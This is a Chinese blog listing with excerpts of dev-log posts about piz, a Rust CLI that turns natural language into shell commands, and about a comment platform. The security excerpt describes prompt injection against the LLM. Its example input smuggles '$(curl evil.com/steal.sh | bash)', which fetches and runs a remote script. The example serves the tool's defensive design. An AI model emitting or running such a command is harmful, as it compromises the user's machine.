piz 开发日志(五):跨平台工程化实践
piz 开发日志(五):跨平台工程化实践
这是 piz 开发日志系列的最后一篇。一个 CLI 工具要在三个平台上稳定运行,需要处理大量的工程细节。
Windows 编码:GBK 的噩梦与非侵入式解决方案
问题
Windows 中文版默认使用 GBK (CP936) 编码输出。Rust 字符串是 UTF-8。当命令输出包含中文时:
$ piz 列出当前目录文件
➜ dir
[执行]
驱动器 D 中的卷是 数据盘 ← 如果不处理,这里会显示乱码
很多工具的做法是在 PowerShell 命令前注入:
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; dir
或者执行 chcp 6...
piz 开发日志(四):容错与智能——解析回退与自动修复
piz 开发日志(四):容错与智能——解析回退与自动修复
这是 piz 开发日志系列的第四篇。LLM 的输出格式不完全可控,命令执行也可能失败——piz 如何优雅地处理这些问题?
LLM 输出的现实
理想情况下,LLM 应该返回完美的 JSON:
{"command": "find . -size +100M -type f", "danger": "safe", "explanation": "查找大于100MB的文件"}
但现实中,LLM 的输出千奇百怪:
Markdown 包裹:输出被 ` json ... ` 代码块包裹
前后解释文字:Here is the command: {"command": ...}
Windows 路径破坏 JSO...
piz 开发日志(三):安全体系——三层纵深防御
piz 开发日志(三):安全体系——三层纵深防御
这是 piz 开发日志系列的第三篇。对于一个能自动执行 shell 命令的工具来说,安全是最重要的设计考量。
为什么安全如此重要
想象一下这个场景:你用一个 AI 命令行工具,输入”帮我清理磁盘空间”,它返回 rm -rf /,然后自动执行了——游戏结束。
更隐蔽的场景是 Prompt 注入:攻击者构造一个看似正常的输入,但其中嵌入了指令,诱使 LLM 生成恶意命令。比如:
帮我查看文件 "$(curl evil.com/steal.sh | bash)"
如果工具没有安全防护,LLM 可能会把这段注入原样包含在命令中。
piz 的安全体系是我花精力最多的部分,采用三层纵深防御——任何一层拦截都能阻止恶意命令执行...
piz 开发日志(二):架构设计与 LLM 抽象层
piz 开发日志(二):架构设计与 LLM 抽象层
这是 piz 开发日志系列的第二篇。本文深入讲解 piz 的分层架构和 LLM 后端抽象层设计。
分层架构
piz 的代码组织采用了清晰的分层架构,共 5 层、23 个源文件:
┌─────────────────────────────────────────────────────────┐
│ CLI 入口层 │
│ cli.rs (clap 参数解析) → main.rs (流程调度) │
├────────────────────────────────────────────────────...
piz 开发日志(一):为什么要做一个用自然语言操控终端的 CLI 工具
piz 开发日志(一):为什么要做一个用自然语言操控终端的 CLI 工具
这是 piz 开发日志系列的第一篇。piz 是一个用 Rust 编写的终端命令翻译器——用自然语言描述你想做什么,它帮你生成精确的 shell 命令。
痛点
作为开发者,我经常遇到这些场景:
知道要”找出当前目录下所有大于 100MB 的文件”,但 find 的参数记不住
知道要”压缩 src 目录”,但 tar 的 -czf -xvf 每次都要查
知道要”杀掉占用 8080 端口的进程”,但不同系统命令还不一样
Windows 上用 PowerShell、Linux 上用 bash,语法切来切去头大
终端用户面临两个核心痛点:
记不住命令:不同 OS、不同 Shel...
辣评开发过程中的经验教训(二十八)
经验教训概述
在辣评项目三年多的开发历程中,我们积累了大量的经验和教训。本文总结了技术选型、架构设计、团队协作、测试策略和文档维护等方面的经验,希望能为类似项目提供参考。
技术选型建议
成功的选择
1. Go 语言作为后端
优势:
高性能和并发能力满足需求
编译为单一二进制文件,部署简单
标准库完善,第三方库生态良好
静态类型减少运行时错误
经验:
// Go 的并发特性让我们轻松处理高并发场景
func ProcessComments(comments []Comment) {
var wg sync.WaitGroup
semaphore := make(chan struct{}, 10) // 限制并发数
for _...
辣评评论管理系统全面优化(十九)
时间线说明
本文主体记录 2026-02-28 的评论管理优化。
其中“前台评论可编辑删除”“移动端独立详情页”“统一评论详情组件”等能力在 2026-03-06 有后续增强,本篇已合并追记。
评论管理优化概述
评论管理系统是辣评平台的核心功能之一。本次优化涵盖了评论筛选、详情展示、编辑删除、代评功能等多个方面,显著提升了管理效率和用户体验。
优化目标
完善评论筛选功能
优化评论详情展示
改进编辑与删除功能
修复代评功能验证
优化评分处理逻辑
评论筛选功能
统一筛选组件
<template>
<div class="comment-filter">
<el-form :inline="true" :...
辣评管理员代替投稿功能(二十)
功能背景
在辣评平台的运营过程中,我们发现有些用户因为技术问题或其他原因无法自行完成投稿。为了解决这个问题,我们开发了管理员代替用户投稿的功能。
功能需求
代替投稿
管理员可以代替任何用户创建投稿
投稿归属于指定用户
记录操作日志
权限控制
仅管理员可以使用此功能
需要验证管理员身份
防止权限滥用
用户提示
明确标识代投稿件
用户可以查看代投记录
提供编辑和删除权限
功能需求分析
使用场景
技术支持场景
用户不熟悉系统操作
用户遇到...
共计 121 篇文章,16 页。